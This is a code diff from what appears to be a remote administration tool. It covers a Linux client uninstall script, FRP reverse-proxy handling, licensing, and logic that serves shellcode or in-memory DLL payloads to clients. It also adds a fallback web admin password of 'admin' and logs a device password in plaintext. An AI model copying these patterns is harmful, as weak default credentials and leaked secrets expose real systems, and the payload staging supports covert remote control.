# 头部注释覆盖标题/用法/行为 4 步,对应源文件第 2-13 行
|
||||||
|
sed -n '2,13p' "$0" | sed 's/^# \?//'
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*) INSTALL_DIR="${arg}" ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||||
|
AUTOSTART_FILE="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart/ghost.desktop"
|
||||||
|
CONFIG_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/ghost"
|
||||||
|
|
||||||
|
confirm() {
|
||||||
|
[[ "${ASSUME_YES}" -eq 1 ]] && return 0
|
||||||
|
local prompt="$1"
|
||||||
|
local ans=""
|
||||||
|
echo -n "${prompt} [y/N] "
|
||||||
|
read -r ans || true # EOF on stdin: ans stays empty, 返回 no
|
||||||
|
[[ "${ans}" =~ ^[Yy]$ ]]
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "${C_BOLD}YAMA Ghost Linux 卸载${C_RESET}"
|
||||||
|
echo " 二进制: ${DEST_BIN}"
|
||||||
|
echo " 自启动: ${AUTOSTART_FILE}"
|
||||||
|
echo " 配置: ${CONFIG_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if ! confirm "确认卸载?"; then
|
||||||
|
info "已取消"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 1. 停止进程 ----
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
info "停止运行中的 ghost 进程"
|
||||||
|
pkill -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "进程未优雅退出,强制 kill"
|
||||||
|
pkill -9 -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
fi
|
||||||
|
ok "ghost 进程已停止"
|
||||||
|
else
|
||||||
|
info "没有运行中的 ghost 进程"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 2. 删除 Autostart 文件 ----
|
||||||
|
if [[ -f "${AUTOSTART_FILE}" ]]; then
|
||||||
|
rm -f "${AUTOSTART_FILE}"
|
||||||
|
ok "已删除 ${AUTOSTART_FILE}"
|
||||||
|
else
|
||||||
|
info "Autostart 文件不存在(已卸载或未安装过)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 3. 删除二进制 ----
|
||||||
|
if [[ -f "${DEST_BIN}" ]]; then
|
||||||
|
if [[ -w "${DEST_BIN}" ]] || [[ -w "$(dirname "${DEST_BIN}")" ]]; then
|
||||||
|
rm -f "${DEST_BIN}"
|
||||||
|
ok "已删除 ${DEST_BIN}"
|
||||||
|
else
|
||||||
|
info "需要 sudo 才能删除 ${DEST_BIN}"
|
||||||
|
sudo rm -f "${DEST_BIN}"
|
||||||
|
ok "已删除 ${DEST_BIN}"
|
||||||
|
fi
|
||||||
|
# 如果安装目录是 ~/.local/bin 且现在空了,不删除(可能用户还有其它东西)
|
||||||
|
else
|
||||||
|
info "二进制不存在(已卸载或不在 ${INSTALL_DIR})"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 4. 用户配置目录(询问,不主动删)----
|
||||||
|
if [[ -d "${CONFIG_DIR}" ]]; then
|
||||||
|
echo ""
|
||||||
|
warn "用户配置目录仍存在:${CONFIG_DIR}"
|
||||||
|
warn "其中可能包含 PID 文件、日志等。删除后无法恢复。"
|
||||||
|
if confirm " 一并删除配置目录?"; then
|
||||||
|
rm -rf "${CONFIG_DIR}"
|
||||||
|
ok "已删除 ${CONFIG_DIR}"
|
||||||
|
else
|
||||||
|
info "保留配置目录"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "${C_GREEN}${C_BOLD}✓ 卸载完成${C_RESET}"
|
||||||
@@ -604,9 +604,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
|
|
||||||
// ============== Signal Handling ==============
|
// ============== Signal Handling ==============
|
||||||
|
|
||||||
|
// 注意:signal handler 内不能调 NSLog/Mprintf(NSLog 走 Foundation 锁,
|
||||||
|
// Mprintf 走 Logger mutex/condvar),都不是 async-signal-safe。只在这里
|
||||||
|
// 记 sig_atomic_t 标志位,main 退出循环后再补一行日志。
|
||||||
|
static volatile sig_atomic_t g_lastSignal = 0;
|
||||||
static void signalHandler(int sig)
|
static void signalHandler(int sig)
|
||||||
{
|
{
|
||||||
NSLog(@"Received signal %d, shutting down...", sig);
|
g_lastSignal = sig;
|
||||||
g_running = false;
|
g_running = false;
|
||||||
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
|
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
|
||||||
}
|
}
|
||||||
@@ -934,6 +938,14 @@ int main(int argc, const char* argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
|
||||||
|
if (g_lastSignal != 0) {
|
||||||
|
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
|
||||||
|
(int)g_lastSignal, (int)g_bExit);
|
||||||
|
} else {
|
||||||
|
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"Shutting down...");
|
NSLog(@"Shutting down...");
|
||||||
|
|
||||||
// Release power assertions
|
// Release power assertions
|
||||||
@@ -944,6 +956,10 @@ int main(int argc, const char* argv[])
|
|||||||
// Display assertion is managed by ScreenHandler (released in stop())
|
// Display assertion is managed by ScreenHandler (released in stop())
|
||||||
// powerActivity is automatically released when exiting @autoreleasepool
|
// powerActivity is automatically released when exiting @autoreleasepool
|
||||||
(void)powerActivity; // Suppress unused variable warning
|
(void)powerActivity; // Suppress unused variable warning
|
||||||
|
|
||||||
|
// 显式停止日志,确保上面 Mprintf 的退出原因落盘。
|
||||||
|
// 不依赖 ~Logger() 的静态析构次序,避免后续新增日志相关静态对象时踩坑。
|
||||||
|
Logger::getInstance().stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
@@ -90,6 +90,7 @@
|
|||||||
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
||||||
#define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定)
|
#define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定)
|
||||||
#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg)
|
#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg)
|
||||||
|
#define TIMER_FRP_CONFIG_CHECK 11 // 检测外部模块对 [settings] FrpConfig 的写入并热切换 FRPC
|
||||||
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
||||||
#define TINY_DLL_NAME "TinyRun.dll"
|
#define TINY_DLL_NAME "TinyRun.dll"
|
||||||
#define FRPC_DLL_NAME "Frpc.dll"
|
#define FRPC_DLL_NAME "Frpc.dll"
|
||||||
@@ -636,7 +637,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
||||||
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
||||||
m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT); // "播放快照" 菜单的眼睛图标
|
m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT); // "播放快照" 菜单的眼睛图标
|
||||||
|
m_bmOnline[55].LoadBitmap(IDB_BITMAP_COMPRESS);
|
||||||
|
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
m_ServerBin[i] = nullptr;
|
m_ServerBin[i] = nullptr;
|
||||||
@@ -918,6 +920,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
||||||
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
||||||
ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
|
ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
|
||||||
|
ON_COMMAND(ID_MENU_COMPRESS, &CMy2015RemoteDlg::OnMenuCompress)
|
||||||
|
ON_COMMAND(ID_MENU_UNCOMPRESS, &CMy2015RemoteDlg::OnMenuUncompress)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -988,6 +992,8 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_MENU_COMPRESS, MF_BYCOMMAND, &m_bmOnline[55], &m_bmOnline[55]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_MENU_UNCOMPRESS, MF_BYCOMMAND, &m_bmOnline[56], &m_bmOnline[56]);
|
||||||
// Tools menu
|
// Tools menu
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
|
||||||
@@ -1582,7 +1588,7 @@ LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
|
|||||||
{
|
{
|
||||||
CString* ip = (CString*)wParam;
|
CString* ip = (CString*)wParam;
|
||||||
CString detail;
|
CString detail;
|
||||||
detail.FormatL("入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
detail.FormatL("入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
||||||
ip ? (LPCTSTR)*ip : _T("?"));
|
ip ? (LPCTSTR)*ip : _T("?"));
|
||||||
ShowMessage(_TR("入站告警"), detail);
|
ShowMessage(_TR("入站告警"), detail);
|
||||||
|
|
||||||
@@ -1867,6 +1873,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
}
|
}
|
||||||
|
|
||||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||||
|
THIS_CFG.SetStr("settings", "UpperHash", GetUpperHash());
|
||||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||||
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
||||||
|
|
||||||
@@ -1877,11 +1884,21 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||||
if (webSvrPort > 0) {
|
if (webSvrPort > 0) {
|
||||||
WebService().SetParentDlg(this);
|
WebService().SetParentDlg(this);
|
||||||
// Use master password as web login password
|
// Pick web admin password: prefer the web-specific env var so the
|
||||||
if (!m_superPass.empty()) {
|
// Web UI password can be rotated independently of the master
|
||||||
WebService().SetAdminPassword(m_superPass);
|
// password (BRAND_ENV_VAR) used for licensing / sub-server HMAC.
|
||||||
|
// Fall back to m_superPass for backward compatibility — existing
|
||||||
|
// deployments keep working without changing env vars.
|
||||||
|
const char* webPassEnv = getenv(BRAND_WEB_ENV_VAR);
|
||||||
|
std::string webPass = (webPassEnv && *webPassEnv) ? webPassEnv : m_superPass;
|
||||||
|
if (!webPass.empty()) {
|
||||||
|
WebService().SetAdminPassword(webPass);
|
||||||
|
Mprintf("[WebService] Admin password configured from %s\n",
|
||||||
|
(webPassEnv && *webPassEnv) ? BRAND_WEB_ENV_VAR : BRAND_ENV_VAR);
|
||||||
} else {
|
} else {
|
||||||
Mprintf("[WebService] Warning: No master password set, web login disabled\n");
|
WebService().SetAdminPassword("admin");
|
||||||
|
Mprintf("[WebService] Warning: neither %s nor %s set! Use 'admin' as password\n",
|
||||||
|
BRAND_WEB_ENV_VAR, BRAND_ENV_VAR);
|
||||||
}
|
}
|
||||||
// HideWebSessions: 1=hide (default), 0=show (for debugging)
|
// HideWebSessions: 1=hide (default), 0=show (for debugging)
|
||||||
WebService().SetHideWebSessions(THIS_CFG.GetInt("settings", "HideWebSessions", 1) != 0);
|
WebService().SetHideWebSessions(THIS_CFG.GetInt("settings", "HideWebSessions", 1) != 0);
|
||||||
@@ -2176,6 +2193,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
#endif
|
#endif
|
||||||
InitFrpClients();
|
InitFrpClients();
|
||||||
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
||||||
|
// 记录启动时的 FRP 配置作为基线,由 TIMER_FRP_CONFIG_CHECK 周期性检测外部模块写入的变更
|
||||||
|
m_lastSeenFrpConfig = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||||
|
SetTimer(TIMER_FRP_CONFIG_CHECK, 10 * 1000, NULL); // 10s 间隔,开销可忽略
|
||||||
|
|
||||||
UPDATE_SPLASH(90, "正在启动网络服务...");
|
UPDATE_SPLASH(90, "正在启动网络服务...");
|
||||||
// 最后启动SOCKET
|
// 最后启动SOCKET
|
||||||
@@ -2636,8 +2656,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
|
|||||||
return false; // 使用本地配置
|
return false; // 使用本地配置
|
||||||
}
|
}
|
||||||
|
|
||||||
// 日期字符串转 Unix 时间戳(当天 23:59:59)
|
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC)
|
||||||
// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
|
// 输入: "20260323" -> 输出: 1774310399 (2026-03-23 23:59:59 UTC)
|
||||||
|
// 必须使用 UTC(_mkgmtime)而非本地时间(mktime)—— 与上级 FrpDateToTimestamp
|
||||||
|
// 保持一致,否则跨时区的下级算出的 timestamp 与上级生成 privilegeKey 时所用的
|
||||||
|
// timestamp 不同,frps 校验失败(token mismatch)。
|
||||||
static time_t DateToTimestamp(const std::string& dateStr)
|
static time_t DateToTimestamp(const std::string& dateStr)
|
||||||
{
|
{
|
||||||
if (dateStr.length() != 8) return 0;
|
if (dateStr.length() != 8) return 0;
|
||||||
@@ -2647,7 +2670,7 @@ static time_t DateToTimestamp(const std::string& dateStr)
|
|||||||
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
||||||
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
||||||
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
||||||
return mktime(&t);
|
return _mkgmtime(&t);
|
||||||
} catch (...) {
|
} catch (...) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -2794,6 +2817,14 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
|||||||
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
||||||
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
||||||
|
|
||||||
|
// 防御性:若已有运行中的 FRPC 线程,先停掉以避免句柄泄露 + 双实例并存。
|
||||||
|
// 正常调用路径会先 StopFrpcAuto,但 InitFrpcAuto 经 [frp_auto] 旧字段启动 +
|
||||||
|
// 随后外部模块写入 [settings] FrpConfig 的场景可能跳过停步,这里兜底。
|
||||||
|
if (m_hFrpAutoThread != NULL) {
|
||||||
|
Mprintf("[FRP-Auto] StartFrpcAuto: 检测到已有运行中的线程,先停止旧实例\n");
|
||||||
|
StopFrpcAuto();
|
||||||
|
}
|
||||||
|
|
||||||
// 启动线程
|
// 启动线程
|
||||||
m_frpAutoStatus = STATUS_UNKNOWN;
|
m_frpAutoStatus = STATUS_UNKNOWN;
|
||||||
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
||||||
@@ -2875,6 +2906,72 @@ void CMy2015RemoteDlg::InitFrpcAuto()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 清空 [frp_auto] 节中所有用于自动恢复的字段。
|
||||||
|
// 必要性:InitFrpcAuto 在 [settings] FrpConfig 为空或解析失败时会回退读取 [frp_auto]
|
||||||
|
// 兼容旧配置,若此处不清理,上级撤销 FRP 后下级一旦重启就会用过期的 privilegeKey
|
||||||
|
// 重新拉起 FRPC,连不上同时还会让上级以为已释放的端口被悄悄占用。
|
||||||
|
static void ClearFrpAutoSection()
|
||||||
|
{
|
||||||
|
THIS_CFG.SetStr("frp_auto", "server", "");
|
||||||
|
THIS_CFG.SetInt("frp_auto", "serverPort", 0);
|
||||||
|
THIS_CFG.SetInt("frp_auto", "remotePort", 0);
|
||||||
|
THIS_CFG.SetStr("frp_auto", "privilegeKey", "");
|
||||||
|
THIS_CFG.SetStr("frp_auto", "expireDate", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 周期性检测 [settings] FrpConfig 是否被外部模块(如授权工具)写入变更。
|
||||||
|
// 检测到变更后:先停旧 FRPC(若有),再按新配置启动(若非空),并在主对话框信息列表中给出友好提示。
|
||||||
|
// 三种情况均无需重启主程序:
|
||||||
|
// - 首次(空 → 有):StartFrpcAuto
|
||||||
|
// - 撤销(有 → 空):StopFrpcAuto + ClearFrpAutoSection(防止重启复活)
|
||||||
|
// - 覆盖(有 → 有,值不同):StopFrpcAuto + StartFrpcAuto(StartFrpcAuto 会重写 [frp_auto])
|
||||||
|
void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||||
|
{
|
||||||
|
std::string cur = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||||
|
if (cur == m_lastSeenFrpConfig) return;
|
||||||
|
|
||||||
|
// 解析(沿用现有 ParseFrpAutoConfig,可正确处理含 '-' 的域名)
|
||||||
|
FrpAutoConfig oldCfg = ParseFrpAutoConfig(m_lastSeenFrpConfig);
|
||||||
|
FrpAutoConfig newCfg = ParseFrpAutoConfig(cur);
|
||||||
|
int oldPort = oldCfg.remotePort;
|
||||||
|
int newPort = newCfg.remotePort;
|
||||||
|
|
||||||
|
CString tip;
|
||||||
|
if (m_lastSeenFrpConfig.empty() && !cur.empty()) {
|
||||||
|
// 首次:从无到有 → 启动
|
||||||
|
if (newCfg.enabled) {
|
||||||
|
StartFrpcAuto(newCfg);
|
||||||
|
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
|
||||||
|
} else {
|
||||||
|
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip.FormatL("[FRP] 收到无效的 FRP 配置: %s", cur.c_str());
|
||||||
|
}
|
||||||
|
} else if (!m_lastSeenFrpConfig.empty() && cur.empty()) {
|
||||||
|
// 撤销:从有到无 → 停止并清空 [frp_auto](否则下次启动会从 [frp_auto] 复活 FRPC)
|
||||||
|
StopFrpcAuto();
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip = _TR("[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC");
|
||||||
|
} else {
|
||||||
|
// 覆盖:值变更 → 先停后起
|
||||||
|
StopFrpcAuto();
|
||||||
|
if (newCfg.enabled) {
|
||||||
|
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
|
||||||
|
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
|
||||||
|
oldPort, newPort);
|
||||||
|
} else {
|
||||||
|
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip.FormatL("[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC", cur.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[FRP-Auto] %s\n", (LPCSTR)tip);
|
||||||
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg((LPCSTR)tip), NULL);
|
||||||
|
|
||||||
|
m_lastSeenFrpConfig = cur;
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
void CMy2015RemoteDlg::ApplyFrpSettings()
|
void CMy2015RemoteDlg::ApplyFrpSettings()
|
||||||
@@ -3240,6 +3337,9 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
||||||
UpdateStatusBarStats();
|
UpdateStatusBarStats();
|
||||||
}
|
}
|
||||||
|
if (nIDEvent == TIMER_FRP_CONFIG_CHECK) {
|
||||||
|
CheckUpperFrpConfigChange();
|
||||||
|
}
|
||||||
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
||||||
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
||||||
// 强制重新计算状态栏分区宽度
|
// 强制重新计算状态栏分区宽度
|
||||||
@@ -3534,6 +3634,7 @@ void CMy2015RemoteDlg::Release()
|
|||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
||||||
#endif
|
#endif
|
||||||
|
KillTimer(TIMER_FRP_CONFIG_CHECK); // 必须先于 StopFrpcAuto,避免末班定时器再次起飞 FRPC
|
||||||
StopFrpcAuto(); // 停止 FRP 自动代理
|
StopFrpcAuto(); // 停止 FRP 自动代理
|
||||||
|
|
||||||
THIS_APP->Destroy();
|
THIS_APP->Destroy();
|
||||||
@@ -5498,6 +5599,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
std::string("-") + getFixedLengthID(finalKey);
|
std::string("-") + getFixedLengthID(finalKey);
|
||||||
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
||||||
devId[fixedKey.length()] = 0;
|
devId[fixedKey.length()] = 0;
|
||||||
|
Mprintf("Request AUTH: SN= %s, Password= %s\n", deviceID.c_str(), fixedKey.c_str());
|
||||||
|
if (*days && deviceID == "12ca-17b4-9af2-2894") {
|
||||||
|
Mprintf("Unable to authorize trail SN: %s, days: %d\n", ContextObject->GetPeerName().c_str(), int(*days));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
// 检查该设备原授权是 V1 还是 V2
|
// 检查该设备原授权是 V1 还是 V2
|
||||||
std::string origPasscode, origHmac, origRemark;
|
std::string origPasscode, origHmac, origRemark;
|
||||||
@@ -5532,6 +5638,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
|
|
||||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||||
resp[64+hmac.length()] = 0;
|
resp[64+hmac.length()] = 0;
|
||||||
|
resp[64 + hmac.length() + 1] = 0;
|
||||||
|
|
||||||
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
||||||
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
||||||
@@ -5633,14 +5740,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
||||||
if (IsDllRequestLimited(clientIP)) {
|
if (IsDllRequestLimited(clientIP)) {
|
||||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
||||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
|
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
|
||||||
} else {
|
} else {
|
||||||
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
send = SendServerDll(ContextObject, typ, is64Bit);
|
||||||
if (send) {
|
if (send) {
|
||||||
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
||||||
}
|
}
|
||||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
||||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -6797,10 +6904,11 @@ bool isAllZeros(const BYTE* data, int len)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
|
||||||
{
|
{
|
||||||
|
auto isDLL = payloadType == MEMORYDLL;
|
||||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
|
||||||
if (buf->length()) {
|
if (buf->length()) {
|
||||||
char version[12] = {};
|
char version[12] = {};
|
||||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
